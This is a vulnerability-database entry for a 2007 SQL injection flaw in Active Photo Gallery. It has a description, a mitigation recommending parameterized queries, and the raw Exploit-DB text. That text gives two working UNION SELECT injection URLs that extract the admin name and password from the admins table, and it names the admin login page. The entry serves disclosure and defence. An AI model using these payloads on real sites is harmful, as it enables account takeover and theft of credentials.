Active Photo Gallery Remote SQL Injection Vulnerability

vendor:

Active Photo Gallery

by:

CyberGhost

5.5

CVSS

MEDIUM

Remote SQL Injection

CWE

Product Name: Active Photo Gallery

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Active Photo Gallery Remote SQL Injection Vulnerability

The vulnerability allows an attacker to inject SQL commands into the application's database queries, potentially allowing unauthorized access to the database or manipulation of its contents. The specific exploit involves injecting a UNION SELECT statement to retrieve sensitive information from the admins table.

Mitigation:

To mitigate this vulnerability, the application should use parameterized queries or prepared statements to sanitize user input and prevent SQL injection attacks. Additionally, regular security audits and updates should be performed to ensure the application is protected against known vulnerabilities.

Source

Exploit-DB raw data:

#Title  : Active Photo Gallery Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivephotogallery
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=11

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21]